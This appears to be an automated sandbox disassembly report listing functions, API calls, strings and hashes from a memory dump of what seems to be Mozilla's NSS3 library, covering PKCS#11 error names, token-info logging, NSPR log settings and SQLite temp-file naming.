
PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CAD1D46), ref: 6CAD2345

Strings

CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CAD1DE0
rv = %s, xrefs: 6CAD2340
CKR_DEVICE_MEMORY, xrefs: 6CAD1FF3
CKR_STATE_UNSAVEABLE, xrefs: 6CAD2037
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CAD2293, 6CAD233F
CKR_SAVED_STATE_INVALID, xrefs: 6CAD1E56
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CAD20D9
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CAD2275
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CAD232E
CKR_DEVICE_ERROR, xrefs: 6CAD229D
CKR_OK, xrefs: 6CAD1DFC
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CAD2179
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CAD226B
CKR_PIN_INVALID, xrefs: 6CAD2057
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CAD227F
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CAD1EE1
CKR_FUNCTION_CANCELED, xrefs: 6CAD1E73
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CAD2320
CKR_TOKEN_NOT_PRESENT, xrefs: 6CAD1F81
CKR_RANDOM_NO_RNG, xrefs: 6CAD22A7
CKR_BUFFER_TOO_SMALL, xrefs: 6CAD2183
CKR_PIN_LOCKED, xrefs: 6CAD2075
CKR_OPERATION_ACTIVE, xrefs: 6CAD22B8
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CAD218D
CKR_NEW_PIN_MODE, xrefs: 6CAD1E9F
CKR_PIN_LEN_RANGE, xrefs: 6CAD2061
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CAD1F8B
CKR_NEXT_OTP, xrefs: 6CAD222F
CKR_FUNCTION_REJECTED, xrefs: 6CAD2289
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CAD2015
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CAD2327
rv = 0x%x, xrefs: 6CAD2312
CKR_DEVICE_REMOVED, xrefs: 6CAD2261
CKR_INFORMATION_SENSITIVE, xrefs: 6CAD22B1
CKR_SIGNATURE_INVALID, xrefs: 6CAD20CF
CKR_PIN_EXPIRED, xrefs: 6CAD206B
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CAD204D
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CAD1F0F
CKR_MUTEX_BAD, xrefs: 6CAD1F49
CKR_WRAPPED_KEY_INVALID, xrefs: 6CAD1FB5
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CAD1F77
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CAD1FD7
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CAD22FF
CKR_MUTEX_NOT_LOCKED, xrefs: 6CAD2225
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CAD2319
CKR_PIN_INCORRECT, xrefs: 6CAD1D92
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CAD1F95

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 776924523f385b79cb3627ca3a3b0e7205df6755d0d9b1b6ec6c02ddf2434785
Instruction ID: 69c8285746bfe9c84bf4000f13c68c487f461f2dccfa90040244abd6de5300d6
Opcode Fuzzy Hash: 776924523f385b79cb3627ca3a3b0e7205df6755d0d9b1b6ec6c02ddf2434785
Instruction Fuzzy Hash: 1F610F3064D084C6E62C0C4C81AE3BC2130A70A755F6B933BE2828EE61D795FED6C697

Function 6CB05DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CB05E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CB05E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CB05E5C
free.MOZGLUE(00000000), ref: 6CB05E7E
free.MOZGLUE(00000000), ref: 6CB05E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CB05EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CB05EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CB05ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CB05EF0
free.MOZGLUE(00000000), ref: 6CB05F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CB05F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CB05F5B
free.MOZGLUE(00000000), ref: 6CB05F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CB05FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CB05FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CB05FC4
free.MOZGLUE(00000000), ref: 6CB05FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CB05FE9
free.MOZGLUE(00000000), ref: 6CB05FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CB0600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB06027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CB0605A
PR_smprintf.NSS3(6CBDAAF9,00000000), ref: 6CB0606A
free.MOZGLUE(00000000), ref: 6CB0607C
free.MOZGLUE(00000000), ref: 6CB0609A
free.MOZGLUE(00000000), ref: 6CB060B2
free.MOZGLUE(?), ref: 6CB060CE

Strings

pkcs11.txt, xrefs: 6CB05F47, 6CB05F7C, 6CB0603A, 6CB06053
secmod=, xrefs: 6CB05FB1
%s/%s, xrefs: 6CB06055
noModDB, xrefs: 6CB05EEA
secmod.db, xrefs: 6CB05EA0
forceSecmodChoice, xrefs: 6CB05F55
readOnly, xrefs: 6CB05E56
configDir=, xrefs: 6CB05F9D
flags, xrefs: 6CB05E3A, 6CB05EC6, 6CB05F30

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 56c012520e5a945040bd54b80e500e94f5d998d230cca21df4cbad160d232ac7
Instruction ID: bc450804c9e43df94815f5dc4a7162bb05592bbf083b88b5de065d6a1d4652b6
Opcode Fuzzy Hash: 56c012520e5a945040bd54b80e500e94f5d998d230cca21df4cbad160d232ac7
Instruction Fuzzy Hash: 8591C3F4B042C55BEF118B249C85BAA3FA8DF0534CF080060EC559BF42E725E999C7AA

Function 6CAD28A0 Relevance: 49.2, APIs: 12, Strings: 16, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6CAD28BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6CAD28EF

Part of subcall function 6CBB09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBB0B88
Part of subcall function 6CBB09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBB0C5D
Part of subcall function 6CBB09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CBB0C8D
Part of subcall function 6CBB09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBB0C9C
Part of subcall function 6CBB09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBB0CD1
Part of subcall function 6CBB09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CBB0CEC
Part of subcall function 6CBB09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBB0CFB
Part of subcall function 6CBB09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBB0D16
Part of subcall function 6CBB09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CBB0D26
Part of subcall function 6CBB09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBB0D35
Part of subcall function 6CBB09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CBB0D65
Part of subcall function 6CBB09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CBB0D70
Part of subcall function 6CBB09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBB0D90
Part of subcall function 6CBB09D0: free.MOZGLUE(00000000), ref: 6CBB0D99

Part of subcall function 6CA90F00: PR_GetPageSize.NSS3(6CA90936,FFFFE8AE,?,6CA216B7,00000000,?,6CA90936,00000000,?,6CA2204A), ref: 6CA90F1B
Part of subcall function 6CA90F00: PR_NewLogModule.NSS3(clock,6CA90936,FFFFE8AE,?,6CA216B7,00000000,?,6CA90936,00000000,?,6CA2204A), ref: 6CA90F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CAD28D6

Part of subcall function 6CBB09D0: PR_Now.NSS3 ref: 6CBB0A22
Part of subcall function 6CBB09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBB0A35
Part of subcall function 6CBB09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBB0A66
Part of subcall function 6CBB09D0: PR_GetCurrentThread.NSS3 ref: 6CBB0A70
Part of subcall function 6CBB09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBB0A9D
Part of subcall function 6CBB09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBB0AC8
Part of subcall function 6CBB09D0: PR_vsmprintf.NSS3(?,?), ref: 6CBB0AE8
Part of subcall function 6CBB09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBB0B19
Part of subcall function 6CBB09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBB0B48
Part of subcall function 6CBB09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBB0C76
Part of subcall function 6CBB09D0: PR_LogFlush.NSS3 ref: 6CBB0C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6CAD2963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6CAD2983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6CAD29A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6CAD29C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6CAD2A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6CAD2A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6CAD2A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6CAD2A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6CAD2AB6

Strings

maxRwSessions = %u, RwSessions = %u, xrefs: 6CAD2A61
CKF_LOGIN_REQUIRED, xrefs: 6CAD29F3, 6CAD2A1E
model = "%.16s", xrefs: 6CAD299E
pInfo = 0x%p, xrefs: 6CAD28EA
manufacturerID = "%.32s", xrefs: 6CAD297E
serial = "%.16s", xrefs: 6CAD29BE
label = "%.32s", xrefs: 6CAD295E
CKF_RNG, xrefs: 6CAD2A13, 6CAD2A20
flags = %s %s %s %s, xrefs: 6CAD2A21
CKF_WRITE_PROTECTED, xrefs: 6CAD29FE, 6CAD2A1F
maxSessions = %u, Sessions = %u, xrefs: 6CAD2A43
slotID = 0x%x, xrefs: 6CAD28D1
CKF_USER_PIN_INIT, xrefs: 6CAD29E5
C_GetTokenInfo, xrefs: 6CAD28B8
firmware version: %d.%d, xrefs: 6CAD2AB1
hardware version: %d.%d, xrefs: 6CAD2A89

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo
API String ID: 2460313690-1106672779
Opcode ID: 4220dc7b8963e9b7ad296d47dcf65573bf1a21d1e9ac634f983483486b025bf0
Instruction ID: c0aad45b8d63911dcc772bd819e5c0b847d8b65e2ac2ae8cb9641d47bf8623f2
Opcode Fuzzy Hash: 4220dc7b8963e9b7ad296d47dcf65573bf1a21d1e9ac634f983483486b025bf0
Instruction Fuzzy Hash: FA51F8B57001859FEB008F54DE9DA7937B5EB4121DF4B81B8E854AB612DB32EC48CB62

Function 6CA91D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CA91DA3

Part of subcall function 6CB698D0: calloc.MOZGLUE(00000001,00000084,6CA90936,00000001,?,6CA9102C), ref: 6CB698E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CA91DB2

Part of subcall function 6CA91240: TlsGetValue.KERNEL32(00000040,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA91267
Part of subcall function 6CA91240: EnterCriticalSection.KERNEL32(?,?,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA9127C
Part of subcall function 6CA91240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA91291
Part of subcall function 6CA91240: PR_Unlock.NSS3(?,?,?,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA912A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA91DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CA91E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CA91EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CA91ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CA91EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CA91F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CA91F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CA91F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CA91F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA91F83
PR_SetLogFile.NSS3(00000000), ref: 6CA91FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CA91FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CA91FCB
free.MOZGLUE(00000000), ref: 6CA91FD2

Strings

NSPR_LOG_MODULES, xrefs: 6CA91DAD
append, xrefs: 6CA91EE6
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CA91E27
NSPR_LOG_FILE, xrefs: 6CA91F69
bufsize, xrefs: 6CA91E9B
Unable to create nspr log file '%s', xrefs: 6CA91FB3
timestamp, xrefs: 6CA91EC4
all, xrefs: 6CA91F0E
sync, xrefs: 6CA91E46
, %n, xrefs: 6CA91E6B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 7a114026a90c9ac8529f844fd8d1cd7c0e62b65a92d439932d493990b6a6514b
Instruction ID: 95f8ac578143aae3a8c56c674cb65f30bd7cd41e4cf1ab156f75cecc2ce86dc7
Opcode Fuzzy Hash: 7a114026a90c9ac8529f844fd8d1cd7c0e62b65a92d439932d493990b6a6514b
Instruction Fuzzy Hash: 6F5191B1E142499BDF009BE5DD46ABE77FCAF01348F080529EA169BA40E770E588CB91

Function 6CB76E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA2CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA8F9C9,?,6CA8F4DA,6CA8F9C9,?,?,6CA5369A), ref: 6CA2CA7A
Part of subcall function 6CA2CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA2CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CA3BE66), ref: 6CB76E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CA3BE66), ref: 6CB76E98
sqlite3_snprintf.NSS3(?,00000000,6CBDAAF9,?,?,?,?,?,?,6CA3BE66), ref: 6CB76EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CA3BE66), ref: 6CB76ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CA3BE66), ref: 6CB76EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CA3BE66), ref: 6CB76F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CA3BE66), ref: 6CB76F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CA3BE66), ref: 6CB76F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CA3BE66), ref: 6CB76FA6
sqlite3_snprintf.NSS3(?,00000000,6CBDAAF9,00000000,?,?,?,?,?,?,?,6CA3BE66), ref: 6CB76FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA3BE66), ref: 6CB76FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA3BE66), ref: 6CB76FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CA3BE66), ref: 6CB77014
sqlite3_free.NSS3(00000000,?,?,?,?,6CA3BE66), ref: 6CB7701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CA3BE66), ref: 6CB77030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CA3BE66), ref: 6CB7705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CA3BE66), ref: 6CB77079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CA3BE66), ref: 6CB77097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CA3BE66), ref: 6CB770A0

Strings

winGetTempname1, xrefs: 6CB7708F
mz_etilqs_, xrefs: 6CB76F18
winGetTempname4, xrefs: 6CB77046
winGetTempname2, xrefs: 6CB770C4
winGetTempname5, xrefs: 6CB77071

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 4a49571f8285c8996e22f4788763c0b5d8e205af30678c607ffe50e4557e55c8
Instruction ID: c9b451a64dc869de680a5aa801bc814272118cb94770d9a24a04fed6e5788a13
Opcode Fuzzy Hash: 4a49571f8285c8996e22f4788763c0b5d8e205af30678c607ffe50e4557e55c8
Instruction Fuzzy Hash: 76516C71A042A11BE72156309C55BBF366ACB92758F184538EC25A7BC1FF25950E83F3

Function 6CB04FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000,00000000,00000001), ref: 6CB05009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CB05049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB0505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CB05071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB05089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB050A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CB050B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2), ref: 6CB050CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB050D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB050F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB05103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB0511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB0512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB05145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB05153
free.MOZGLUE(?), ref: 6CB0516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CB0517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB05195

Strings

parameters=, xrefs: 6CB0506B
library=, xrefs: 6CB05043
config=, xrefs: 6CB0509B
name=, xrefs: 6CB05057
nss=, xrefs: 6CB05083

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: f7ccf1c271f5bf1de612d093062034b6258df1c90d0dcfa74fc7166b887a4248
Instruction ID: 364441bf49d441eced24c3f403ff888a82be09be46a3fa1ab23bbcbd4df3d900
Opcode Fuzzy Hash: f7ccf1c271f5bf1de612d093062034b6258df1c90d0dcfa74fc7166b887a4248
